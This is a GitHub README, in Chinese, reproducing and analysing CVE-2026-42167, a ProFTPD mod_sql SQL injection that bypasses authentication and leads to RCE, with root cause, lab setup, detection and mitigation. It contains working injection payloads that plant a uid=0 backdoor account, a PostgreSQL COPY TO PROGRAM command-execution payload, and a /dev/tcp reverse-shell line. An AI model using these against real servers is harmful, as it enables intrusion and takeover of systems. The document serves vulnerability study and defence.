dinosn/proftpd-CVE-2026-42167-analysis

GitHub: dinosn/proftpd-CVE-2026-42167-analysis

针对 ProFTPD mod_sql CVE-2026-42167 漏洞的独立复现与代码级根因分析,覆盖从预认证 SQL 注入到身份绕过及 RCE 的完整利用链。

Stars: 2 | Forks: 0

# CVE-2026-42167 — ProFTPD `mod_sql` SQL 注入 / 身份验证绕过 / RCE 针对 **CVE-2026-42167** 的独立复现、代码级根因分析以及深入 剖析报告 — 这是 ProFTPD 的 `mod_sql` 日志管道中 `is_escaped_text()` 绕过漏洞, 由 ZeroPath Research 披露,并在 ProFTPD 1.3.9a / 1.3.10rc1 中被修复。 于 2026-04-29 在 macOS / Apple Silicon 平台的 Docker 环境中端到端构建并验证。 | 字段 | 值 | |---|---| | CVE | CVE-2026-42167 | | CWE | CWE-89 (SQL 注入), CWE-78 (OS 命令注入 — 通过 PG 的 `COPY TO PROGRAM`) | | 受影响版本 | 带有 `mod_sql` + `SQLLog`/`SQLNamedQuery` 的 ProFTPD ≤ 1.3.9,且其格式字符串在单引号内插入了攻击者可控的变量 | | 修复版本 | 1.3.9a (`af90843ba…`) / 1.3.10rc1,参见 commit `e6f728481` ("Issue #2052") | | 锁定的易受攻击 commit | `ae25959adb05ae1d6ebfa1f36bf778c9c34e9410` | | 易受攻击文件 | `contrib/mod_sql.c` 第 741–758 行 (`is_escaped_text`) 及第 777 行 (`sql_resolved_append_text`) | | 原始披露 | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce | | 公开 PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc | | 发行说明 | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 | ## 1. 根本原因 — `contrib/mod_sql.c` 中的 `is_escaped_text()` 启发式逻辑 `mod_sql` 会解析日志格式变量(`%U`、`%{basename}` 等),并通过 `sql_resolved_append_text()` 将每个部分追加到渲染的 SQL 中。 为了与已经在变量外层包裹 `'…'` 的管理员配置保持向后兼容性,该函数会调用 `is_escaped_text()` 来决定是否需要 `sql_escapestring`: ``` /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char *text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != '\'') return FALSE; 745 if (text[text_len-1] != '\'') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == '\'') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … /* …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 } ``` 该检查纯粹是基于结构上的 — 它无法区分“已被可信代码转义过”和“由攻击者伪造的看似已转义的内容”。 任何匹配 `'<内部无单引号>'` 的客户端提供值都会跳过 `sql_escapestring`,并被原样拼接到最终的查询语句中。 标准的文档配置会将 `%U` / `%{basename}` / `%m` 包裹在单引号中: ``` SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log SQLLog ERR_* log_activity ``` 当攻击者发送 `USER ''`(带有首尾引号,内部无引号)时,解析器在替换 `%U` 时会*不经转义*,从而在 SQL 语句中生成 `''''` — 空字符串字面量闭合了 外层的引号,使得 `` 作为原始 SQL 被执行。在 PostgreSQL (`PQexec`) 和 SQLite (`sqlite3_exec`) 中支持堆叠查询,因此 `` 可以是任意语句序列。 因为 `SQLLog ERR_*` 在登录**失败**时触发,并且 `%U` 是在身份验证*之前*通过 `USER` 命令设置的,所以该攻击完全无需身份验证即可实现。 ### 修复方案 (commit `e6f728481`, "Issue #2052") `sql_resolved_append_text()` 增加了一个 `already_escaped` 参数。解析 客户端输入值的调用者会传入 `FALSE`,现在会无条件地通过 `sql_escapestring` 进行处理 — 尽管合法的“配置中包含预转义值”的路径 仍然会应用 `is_escaped_text()` 启发式逻辑,但它不再应用于攻击者可控的数据。 ## 2. 实验环境 ``` +--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+ ``` - 两个容器均通过 `setup/docker-compose.yml` 启动。 - `setup/proftpd.conf` 启用了易受攻击的日志配置(见 §1)。 - `setup/seed.sql` 创建了 `users`、`groups`、`activity_log`、`xfer_log` 以及 `secrets` 表,并创建了一个合法的 FTP 用户 `ftpuser / ftppass`。 ## 3. 复现 — 复制/粘贴 前提条件:Docker Desktop,Python 3.10+,git。(`uv` 是可选的; PoC 仅使用了标准库。) ``` # 克隆此 repo git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git cd proftpd-CVE-2026-42167-analysis/poc # 在 Docker 中构建存在漏洞的 proftpd + postgres cd setup && ./setup.sh && cd .. # - 克隆固定在 ae25959a(存在漏洞)的 proftpd 源码 # - 使用 --with-modules=mod_sql:mod_sql_postgres 构建 # - 启动两个容器,等待 healthchecks # 复现 — pre-auth 后门用户(uid=0, homedir=/) python3 pocs/preauth_user_backdoor.py --host localhost --port 2121 # 检查植入的账号 docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \ -c "SELECT userid,uid,gid,homedir,shell FROM users;" # 复现 — post-auth STOR 后门 docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \ -c "DELETE FROM users WHERE userid='backdoor';" python3 pocs/postauth_stor_backdoor.py \ --host localhost --port 2121 --user ftpuser --password ftppass # 复现 — pre-auth RCE 证明(非交互式,marker-file 变体) python3 pocs/preauth_rce_marker.py --host localhost --port 2121 docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt # 拆除 cd setup && ./teardown.sh ``` 上游仓库中的两个交互式变体 (`preauth_user_rce.py`、`postauth_stor_rce.py`)未经修改, 并能弹出一个基于 PTY 的反弹 shell。它们使用了与 marker 变体 相同的利用原语 — 只需将 shell 命令替换为 `bash -i >& /dev/tcp// 0>&1` 并提前在 `` 上监听即可。 ## 4. 载荷,逐字节解析 ### 预认证后门 (`USER` 命令, `%U`) ``` USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x ``` 生效原因: 1. **外层有引号 + 内部无引号** 匹配了 `is_escaped_text()` → 跳过转义。 2. 配置的 `SQLNamedQuery` 为 `INSERT "'%U', '%r', '%m'" activity_log`, 因此渲染出的 SQL 变为 `INSERT INTO activity_log VALUES('', '<%r>', '<%m>')` — 但是 `` 本身以 `'` 开头,因此实际的查询语句为 `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`。 3. `--` 注释掉了尾部的格式插槽。 4. `$$…$$` PostgreSQL 的美元符号引用机制允许我们传递字符串(`backdoor`、`pwned123`、`/`、`/bin/bash`)而完全无需使用 `'` — 从而保持了 `is_escaped_text()` 绕过的成立。 5. `SQLLog ERR_*` 在失败的登录时触发 → `PQexec()` 执行堆叠的 `INSERT INTO users` → 后门账户成功写入认证表中。 ### 认证后后门 (`STOR` 文件名, `%{basename}`) ``` STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --' ``` 相同的绕过原理,不同的触发点。使用 `chr(47)` = `'/'` 是因为 FTP 会将文件名中的 `/` 解释为目录分隔符,因此攻击者无法在文件名中放置字面上的 `/` — `chr()` 允许后门账户获得 `homedir = '/'` 而无需通过网络发送该字符。 ### 预认证 RCE (`USER` + `COPY TO PROGRAM`) ``` USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x ``` 其中 `` 可以是任何命令。PostgreSQL 会在**数据库**宿主机上以 `postgres` OS 用户的身份通过 `/bin/sh` 执行它。这要求 `mod_sql` 使用的数据库角色是超级用户(或者是 `pg_execute_server_program` 的成员) — 这在单租户部署中很常见,并且是使用官方 `postgres` Docker 镜像并通过 `POSTGRES_USER` 创建角色时的默认情况。 ## 5. 复现期间捕获的证据 | 文件 | 展示内容 | |---|---| | `logs/01_preauth_backdoor.log` | 预认证 PoC 输出,以 `backdoor` 身份成功登录 (`230`) | | `logs/02_db_users_after.log` | `users` 表现在包含 `backdoor / pwned123 / uid=0` | | `logs/03_postauth_stor_backdoor.log` | 通过 STOR `%{basename}` 触发的认证后 PoC 输出 | | `logs/05_preauth_rce_marker.log` | 通过 FTP 发送的 Marker 载荷 | | `logs/06_users_final.log` | 最终的 `users` 表状态 | | `logs/07_proftpd_trace.log` | ProFTPD 自身的 trace 日志为每个注入的载荷打印了 `text '…' is already escaped, skipping escaping it again` — 这是 `is_escaped_text()` 对攻击者输入返回 TRUE 的直接证据 | | `logs/08_rce_proof.log` | 在 postgres 容器上*由 postgres 用户*写入的 `/tmp/cve-2026-42167-rce.txt` | | `screenshots/*.png` | 每个捕获的终端会话的 PNG 渲染图 | trace 日志中的这一行是铁证: ``` 2026-04-29 06:35:11,297 [548] : text '', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'' is already escaped, skipping escaping it again ``` 该消息仅在 `is_escaped_text()` 返回 TRUE 时于 `contrib/mod_sql.c:791` 处被发出 — 即确切的绕过点。 ## 6. 检测 / 缓解 **检测(对已部署服务器进行取证):** - 在启用 `Trace sql:17` 的情况下,执行 `grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log`,这会标记出所有触发了该绕过逻辑的注入尝试。 - 审计 `activity_log` 表(或 `SQLNamedQuery INSERT` 写入的任何表):如果行中的用户名列以游离的引号开头,包含 `null, null);`,或包含 `INSERT`/`COPY TO PROGRAM`/`UPDATE`,这些都是攻击证据。 - 审计 `users` 表中 `uid=0`、`homedir='/'` 的账户,或者在策略要求使用 `/sbin/nologin` 的情况下 shell 却被设置为真实 shell 的账户。 **缓解措施:** - 升级 ProFTPD ≥ 1.3.9a / 1.3.10rc1 (commit `e6f728481`)。 - *如果暂时无法升级的补偿性控制措施:* 从 `SQLNamedQuery` 格式字符串中移除攻击者可控的变量(在支持参数化的后端中仅将 `'%U'` 替换为更安全的 `%U`,或者对失败的登录使用基于明文文件的日志记录)。 - *纵深防御:* 确保 `mod_sql` 的 PostgreSQL 角色**不是**超级用户 — 仅此一项就可以阻断 `COPY TO PROGRAM` 的 RCE 路径(尽管通过堆叠 `INSERT INTO users` 进行的身份验证绕过仍然有效,但其爆炸半径被限制在 proftpd 数据库中)。 ## 7. 本仓库的文件结构图 ``` . ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png ``` ## 8. 这是真实的威胁 — 还是生造的边缘情况? 诚实的回答是:**其影响范围比“发送一个数据包就能控制服务器”的蠕虫病毒要窄,但易受攻击的模式存在于 ProFTPD 自己的官方文档中,因此它并非凭空捏造。**三个独立的维度决定了一个特定的部署是否会中招,而每一个维度都会进一步缩小受影响的群体范围。 ### 8.1 是否甚至加载了 `mod_sql`? `mod_sql` 是按需启用的。它**不**在默认的 ProFTPD 构建中,也不在 Debian 的 `proftpd-basic` 等发行版包的默认配置中。只有在以下情况下你才会有它: - 使用 `--with-modules=mod_sql:mod_sql_` 进行了编译,或者 - 安装了特定后端的软件包:Debian 的 `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`,RHEL 的 `proftpd-postgresql` / `proftpd-mysql`。 人们安装这些软件包有明确的原因:基于 SQL 的**身份验证**(数据库中的用户而非 `/etc/passwd`)或用于审计的基于 SQL 的**活动日志记录**。这两者在共享主机、托管型 FTP 和企业 FTP 投递部署中都很常见。因此 `mod_sql` 在安装基数中占据了真实的比例 — 只是并非“每一台服务器”。 ### 8.2 易受攻击的 `SQLNamedQuery` 模式真的有人用吗? 这是该漏洞最具现实意义的地方。触发该 bug 的模式*正是官方文档中记录的模式*。以下示例直接取自锁定易受攻击 commit 时的上游代码树: ``` # doc/contrib/mod_sql.html ── 经典范例 SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory SQLLog RETR,STOR insertfileinfo # doc/howto/SQL.html SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history (user, client_ip, server_ip, protocol, when) VALUES ('%u', '%a', '%V', '%{protocol}', NOW())" SQLLog PASS log_sess IGNORE_ERRORS # doc/modules/mod_redis.html SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES ('%u', '%H', NOW(), '%r', ..., '%f', ...)" SQLLog STOR upload ``` 每一个示例都将攻击者可控的变量(`%u`、`%r`)包裹在单引号中 — 这正是 `is_escaped_text()` 会错误分类的结构形式。从上游文档复制粘贴的管理员**将直接继承这种易受攻击的模式。** 这就是我们需要认真对待此事的头号原因。 ### 8.3 预认证 vs 认证后 完全无需身份验证的路径(`USER` + `%U` + `SQLLog ERR_*`)是**最狭窄**的情况。它满足以下全部三个条件: - 一个在单引号内插值 `%U`(原始用户名,即使在登录失败时也会被设置)的 `SQLNamedQuery` — 在实际配置中不如 `%u` 常见,因为大多数管理员希望获取*成功*登录的用户名以供审计,因此会使用 `%u`。 - 一个在身份验证之前触发的 `SQLLog` 指令。`SQLLog ERR_*` 是用于此目的的典型通配符。而 `SQLLog PASS …` 和 `SQLLog STOR …`(最常见的形式)则**不会**在认证前触发。 - 一个支持堆叠查询的后端(PostgreSQL 或 SQLite — 见 §8.4)。 如果配置使用的是 `%u` 而非 `%U`,相同的 bug 依然会导致身份验证绕过 — 但只能是**认证后**,也就是说,攻击者首先需要获取*任何*可用的凭据,然后才能植入一个 uid=0 的后门。在大多数实际配置中,这才是最现实的安全隐患:**低权限 FTP 用户 → 通过一次上传变身为 root 等效的 FTP 用户。** ### 8.4 后端数据库影响巨大 该绕过在每个后端上的触发方式完全相同,但攻击者能*做什么*却大相径庭: | 后端 | 支持堆叠查询? | 通过 `INSERT INTO users` 绕过认证 | 数据库宿主机上的 RCE | |---|---|---|---| | **PostgreSQL** | 是 (`PQexec`) | 有效 | **是**,如果数据库角色是超级用户,可通过 `COPY TO PROGRAM` 实现 | | **SQLite** | 是 (`sqlite3_exec`) | 有效(且 FTP worker 通常具有 `PRIVS_ROOT` 权限 — 甚至更糟) | 没有直接的等价物,但 `users` 表可写 → root 级 FTP 登录 | | **MySQL** | **否** — 不带 `CLIENT_MULTI_STATEMENTS` 的 `mysql_real_query` | 无法追加第二条语句;仅能降级为单语句子查询 / 盲注 SQLi 用于数据窃取 | 否 | PostgreSQL 或 SQLite ⇒ 完整影响。MySQL ⇒ 仅限于数据泄漏 / 基于时间的盲注。MySQL 是迄今为止共享主机中最常见的后端(cPanel、Plesk、ISPConfig 均默认使用它);PostgreSQL 在定制企业构建中更为常见。这两部分用户群体都不容小觑。 ### 8.5 RCE 有其独立的门槛 成为头条新闻的 `COPY TO PROGRAM` RCE 额外要求 `mod_sql` 的 PostgreSQL 角色是**超级用户**(或者是 `pg_execute_server_program` 的成员)。这意味着: - 当数据库是使用官方 `postgres` Docker 镜像的 `POSTGRES_USER` 环境变量创建时,这很**常见**(这是大多数 PoC 实验室和许多设备镜像的默认设置,包括本仓库的 `setup/` 目录)。 - 当 ProFTPD 拥有自己专属的数据库实例时(单租户部署、托管型设备镜像),这很**常见**。 - 当由 DBA 主导的配置创建角色并赋予其最小权限时,这较**不常见**。 如果该角色*不是*超级用户,你仍然可以获得身份验证绕过的原语(这本身就很严重),但在数据库宿主机上的 OS 级 RCE 将不复存在。 ## 9. 综合分析 — 谁面临实际风险 ``` ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above ``` ## 10. 建议 对于所有正在运行 ProFTPD `mod_sql` 的用户: - 务必**升级**至 ≥ 1.3.9a。这是唯一彻底的修复方案。 - 在打好补丁之前的**补偿性控制措施**: - 将数据库角色降级为**非超级用户** — 彻底阻断 PostgreSQL 上的 RCE 分支。 - 审计你的 `users` / 认证表中是否出现游离的 `uid=0` 行或最近新增的账户 — 见 §6。 - 启用 `Trace sql:17` 并在 `trace.log` 中 grep `is already escaped, skipping escaping it again` — 这行日志是绕过尝试的直接证据。 - 如果可行,移除 `SQLLog ERR_*` 指令以及任何插值了 `%U`(预认证原语)的 `SQLNamedQuery INSERT` 格式。虽然通过 `%u` / `%{basename}` 的认证后路径依然存在,但你消除了最坏的情况。 ## 11. 总结 - 这**不是**一个“默认安装即中招的漏洞” — 你必须正在运行 `mod_sql`。 - 它**确实**是一个“按文档配置即中招的漏洞” — 危险的引号包裹模式是官方的配置方式,被上游的 HOWTO 文档广泛复制粘贴。 - 头条新闻中**完全无需身份验证**的场景是真实的,但需要一个特定的(预认证 `%U` + `SQLLog ERR_*` 通配符)配置组合,这不如认证后的路径常见。 - **认证后权限提升**场景(任何 FTP 用户 → uid=0 FTP 后门)是更为现实的威胁,并且适用于大部分使用了官方日志模式的 `mod_sql` + PostgreSQL/SQLite 部署环境。 - **数据库宿主机上的 OS 级 RCE** 取决于数据库角色是否为超级用户 — 这在单租户 / 设备型设置中很常见,在 DBA 托管的环境中较少见。 ## 致谢 - 漏洞发现及最初披露者: [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce)。 - 公开 PoC 仓库: [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc)。 - 修复由 TJ Saunders 完成,commit [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48) ("Issue #2052")。 本仓库为独立复现及分析,仅供防御性研究与教育目的使用。非 0-day 漏洞。仅限于在您获得授权测试的系统上使用。
标签:CISA项目, CVE-2026-42167, CWE-78, CWE-89, Docker, POC, ProFTPD, RCE, Root Cause Analysis, ZeroPath Research, 安全防御评估, 测试用例, 漏洞分析, 漏洞复现, 版权保护, 编程工具, 网络安全, 请求拦截, 路径探测, 身份验证绕过, 远程代码执行, 逆向工具, 隐私保护